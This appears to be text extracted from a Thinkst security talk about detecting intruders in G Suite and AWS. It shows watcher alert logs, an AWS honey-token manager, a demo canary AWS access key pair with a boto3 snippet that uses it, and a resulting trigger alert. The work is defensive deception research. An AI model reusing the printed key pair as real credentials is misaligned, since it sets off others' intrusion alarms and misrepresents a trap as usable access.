User token fired! gsuitestest@thinkstcorp.com's document: 1rSt9UmLP0syK0cds-YzF4eqo1KET0-MkEHIJ2eoW6zY had the event occur: view which was made
by user: stevebrule@thinkstcorp.com
User token fired! gsuitestest@thinkstcorp.com's document: 1ZLqQ5Bqu6C2LM30wzEq-k-WaEXz_QibFRZNwRwSThPg had the event occur: view which was made
 by user: stevebrule@thinkstcorp.com
User token fired! gsuitestest@thinkstcorp.com's document: 1XccZ0x1o7HzBVAgOqRUZsd5v_9Il0IvAL3_mjFt9AgQ had the event occur: view which was made
by user: stevebrule@thinkstcorp.com
User token fired! gsuitestest@thinkstcorp.com's document: 1fVEF7fr4dtFDmPupQUQ_wJyGCz6rahQM9V-KuQXOAbk had the event occur: view which was made
by user: stevebrule@thinkstcorp.com
User token fired! gsuitestest@thinkstcorp.com's document: 1kGIfuKfniTkhXpxtbF9jNEZG4ffLoAVV-rZlBoa-bJg had the event occur: view which was made
by user: stevebrule@thinkstcorp.com
Actor Baseline Exceeded! stevebrule@thinkstcorp.com's view activity was 8 where baseline was 7.0.
User token fired! gsuitestest@thinkstcorp.com's document: 1jKj2mfZu0pCvoURiCr8Z-tVX-H4GCtVaoJ2nS700VF4 had the event occur: view which was made
by user: stevebrule@thinkstcorp.com
```



Simple count modeThreshold mode

```
max@maxs-MacBook-Pro ~ $ tail /var/log/system.log
Jul 25 20:59:18 maxs-MacBook-Pro gsuites-watcher: CRITICAL: Actor Baseline Exceeded! stevebrule@thinkstcorp.com's view activity was 9 where baseline was 7.0.
Jul 25 20:59:24 maxs-MacBook-Pro gsuites-watcher: CRITICAL: User token fired! gsuitestest@thinkstcorp.com's document: 1kGIfuKfniTkhXpxtbF9jNEZG4ffLoAVV-rZlBoa-bJg had the event occur: view which was made
by user: hannah@thinkstcorp.com
Jul 25 20:59:24 maxs-MacBook-Pro gsuites-watcher: CRITICAL: User token fired! gsuitestest@thinkstcorp.com's document: 1rSt9UmLP0syK0cds-YzF4eqo1KET0-MkEHIJ2eoW6zY had the event occur: view which was made
by user: stevebrule@thinkstcorp.com
Jul 25 20:59:24 maxs-MacBook-Pro gsuites-watcher: CRITICAL: Actor Baseline Exceeded! stevebrule@thinkstcorp.com's view activity was 9 where baseline was 7.0.
Jul 25 20:59:24 maxs-MacBook-Pro gsuites-watcher: CRITICAL: User token fired! gsuitestest@thinkstcorp.com's document: 1fVEF7fr4dtFDmPupQUQ_wJyGCz6rahQM9V-KuQXOAbk had the event occur: view which was made
by user: stevebrule@thinkstcorp.com
Jul 25 20:59:24 maxs-MacBook-Pro gsuites-watcher: CRITICAL: Actor Baseline Exceeded! stevebrule@thinkstcorp.com's view activity was 9 where baseline was 7.0.
Jul 25 20:59:38 maxs-MacBook-Pro com.apple.xpc.launchd[1] (com.apple.quicklook[22747]): Endpoint has been activated through legacy launch(3) APIs. Please switch to XPC or bootstrap_check_in(): com.apple.q
Jul 25 20:59:45 maxs-MacBook-Pro gsuites-watcher: CRITICAL: User token fired! gsuitestest@thinkstcorp.com's document: 1ZLqQ5Bqu6C2LM30wzEq-k-WaEXz_QibFRZNwRwSThPg had the event occur: view which was made
by user: stevebrule@thinkstcorp.com
Jul 25 20:59:45 maxs-MacBook-Pro gsuites-watcher: CRITICAL: Actor Baseline Exceeded! stevebrule@thinkstcorp.com's view activity was 9 where baseline was 7.0.
Jul 25 21:00:20 maxs-MacBook-Pro login[22751]: USER_PROCESS: 22751 ttys001
max@maxs-MacBook-Pro ~ $
```



AWSID Tokens



AWS honey token manager

Bootstraps an AWS account with everything you need to generate, mangage, and distribute AWS honey tokens. Made with breakfast roti by the Atlassian security team. No added cyber.

AWS access keys are always a target for attakers and there's no way for them to determine a key is a honey token up front. The attacker attempt to use it on the Internet accessible, fully logged, AWS API.

It's trivial to create one access key and use it as a honey token but it quickly becames impossible to create hundreds or thousands and automatically expire them, report on them, and alert on them. The goodies in this repo make all of that easy and secure.

Configure your aws cli with root or admin access and run `./bootstrap.sh` to get started.

Authors


- * @dagrz
- * @danbourke

@dagrz && @danbourke




Canarytokens by I ninkst

What is this and why should I care?



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Brought to you by Thinkst Canary, our insanely easy-to-use honeypot solution that deploys in just four minutes. Know.

When it matters.

© Thinkst Applied Research 2015–2017





Your AWS key token is active!

Copy this credential pair to your clipboard to use as desired:

[Default]
Access key Id: AKIAIJH36VSP6ZYCPLYQ
Secret Access Key: FzrIGUAzvK6SxKyuSwDuEgt4jDpL2/sPmZPCJoU8



Download your AWS Creds

This canarytoken is triggered when someone uses this credential pair to access AWS programmatically (through the API).

The key is hyper unique. i.e. There is 0 chance of somebody having guessed these credentials.

If this token fires, it is a clear indication that this set of keys has "leaked".

Ideas for use:

- These credentials are often stored in a file called ~/.aws/credentials on linux/OSX systems. Generate a fake credential pair for your senior developers and sysadmins and keep it on their machines. If someone tries to access AWS with the pair you generated for Bob, chances are that Bob's been compromised.
- Place the credentials in private code repositories. If the token is triggered, it means that someone is accessing that repo without permission



```
>>> import boto3
>>> access_key='AKIAIJH36VSP6ZYCPLYQ'
>>> secret_key='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'
>>> client = boto3.client("sts", aws_access_key_id=access_key, aws_secret_access_key=secret_key)
```



Canarytoken triggered

ALERT

An AWS API Key Token Canarytoken has been triggered by the Source IP 86.62.195.140.

Basic Details:

Channel	AWS API Key Token
Time	2017-07-22 07:18:33
Canarytoken	q54jjkbvmiryfx6r7sbo35ikl
Token Reminder	demo key 2
Token Type	aws_keys
Source IP	86.62.195.140
User Agent	Boto3/1.4.4 Python/2.7.10 Darwin/16.6.0 Botocore/1.5.83



Conclusions



- Despite doing this for years, we are still horrible at time management;
- The attack surface in the cloud is not just equal to the attack surface of servers stored in a remote data center;
- Theres a lot of signal to key in on, but theres an incredible amount of noise;
- Theres a lot of fun for both red and blue teams...



Questions



Bibliography

- https://github.com/dagrz/aws_pwn/blob/master/miscellanea/Kiwicon%202016%20-%20Hacking%20AWS%20End%20to%20End.pdf
- https://danielgrzelak.com/backdooring-an-aws-account-da007d36f8f9
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- https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/44860.pdf
- https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45728.pdf
- https://goo.gl/2Yz2B9
- http://csrc.nist.gov/cyberframework/rfi_comments/040813_forrester_research.pdf